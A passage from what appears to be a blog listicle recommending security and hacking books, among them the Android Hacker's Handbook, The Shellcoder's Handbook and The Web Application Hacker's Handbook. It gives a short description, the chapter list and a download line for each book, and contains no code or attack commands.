The Android Hacker's Handbook is about how the android devices can be hacked. Authors chose to write this book because the field of mobile security research is so "sparsely charted" with disparate and conflicted information (in the form of resources and techniques).

CONTENTS

  • Chapter 1 Looking at the Ecosystem
  • Chapter 2 Android Security Design and Architecture
  • Chapter 3 Rooting Your Device
  • Chapter 4 Reviewing Application Security
  • Chapter 5 Understanding Android's Attack Surface
  • Chapter 6 Finding Vulnerabilities with Fuzz Testing
  • Chapter 7 Debugging and Analyzing Vulnerabilities
  • Chapter 8 Exploiting User Space Software
  • Chapter 9 Return Oriented Programming
  • Chapter 10 Hacking and Attacking the Kernel
  • Chapter 11 Attacking the Radio Interface Layer
  • Chapter 12 Exploit Mitigations
  • Chapter 13 Hardware Attacks
Download Android Hacker's Handbook.

3. PENETRATION TESTING: A HANDS-ON INTRODUCTION TO HACKING

This book is an effective practical guide to penetration testing tools and techniques. How to penetrate and hack into systems. This book covers beginner level to highly advanced penetration and hacking techniques.

CONTENTS

  • Chapter 1: Setting Up Your Virtual Lab
  • Chapter 2: Using Kali Linux
  • Chapter 3: Programming
  • Chapter 4: Using the Metasploit Framework
  • Chapter 5: Information Gathering
  • Chapter 6: Finding Vulnerabilities
  • Chapter 7: Capturing Traffic
  • Chapter 8: Exploitation
  • Chapter 9: Password Attacks
  • Chapter 10: Client-Side Exploitation
  • Chapter 11: Social Engineering
  • Chapter 12: Bypassing Antivirus Applications
  • Chapter 13: Post Exploitation
  • Chapter 14: Web Application Testing
  • Chapter 15: Wireless Attacks
  • Chapter 16: A Stack-Based Buffer Overflow in Linux
  • Chapter 17: A Stack-Based Buffer Overflow in Windows
  • Chapter 18: Structured Exception Handler Overwrites
  • Chapter 19: Fuzzing, Porting Exploits, and Metasploit Modules
  • Chapter 20: Using the Smartphone Pentesting Framework
Download Penetration Testing: A Hands-On Introduction To Hacking.

4. THE SHELLCODER'S HANDBOOK

This book is about learning shellcode's of the OS and how OS can be exploited. This book is all about discovering and exploiting security holes in devices to take over.
Authors: Chris Anley, John Heasman, Felix "FX" Linder, Gerardo Richarte.

CONTENTS

  • Stack Overflows
  • Shellcode
  • Introduction to Format String Bugs
  • Windows Shellcode
  • Windows Overflows
  • Overcoming Filters
  • Introduction to Solaris Exploitation
  • OS X Shellcode
  • Cisco IOS Exploitation
  • Protection Mechanisms
  • Establishing a Working Environment
  • Fault Injection
  • The Art of Fuzzing
  • Beyond Recognition: A Real Vulnerability versus a Bug
  • Instrumented Investigation: A Manual Approach
  • Tracing for Vulnerabilities
  • Binary Auditing: Hacking Closed Source Software
  • Alternative Payload Strategies
  • Writing Exploits that Work in the Wild
  • Attacking Database Software
  • Unix Kernel Overflows
  • Exploiting Unix Kernel Vulnerabilities
  • Hacking the Windows Kernel
Download The ShellCoder's HandBook.

5. THE HACKER'S HANDBOOK WEB APPLICATION SECURITY FLAWS

This handbook is about finding and exploiting the web applications.
Authors: Dafydd Stuttard, Marcus Pinto.

CONTENTS

  • Chapter 1 Web Application (In)security
  • Chapter 2 Core Defense Mechanisms
  • Chapter 3 Web Application Technologies
  • Chapter 4 Mapping the Application
  • Chapter 5 Bypassing Client-Side Controls
  • Chapter 6 Attacking Authentication
  • Chapter 7 Attacking Session Management
  • Chapter 8 Attacking Access Controls
  • Chapter 9 Attacking Data Stores
  • Chapter 10 Attacking Back-End Components
  • Chapter 11 Attacking Application Logic
  • Chapter 12 Attacking Users: Cross-Site Scripting
  • Chapter 13 Attacking Users: Other Techniques
  • Chapter 14 Automating Customized Attacks
  • Chapter 15 Exploiting Information Disclosure
  • Chapter 16 Attacking Native Compiled Applications
  • Chapter 17 Attacking Application Architecture
  • Chapter 18 Attacking the Application Server
  • Chapter 19 Finding Vulnerabilities in Source Code
  • Chapter 20 A Web Application Hacker's Toolkit
  • Chapter 21 A Web Application Hacker's Methodology
So, these are the top 5 best hacking books on the market. There may be more fascinating books in the future that make take place in the top list. But for now, these are the best hacking books. Read and share your experience with these books.

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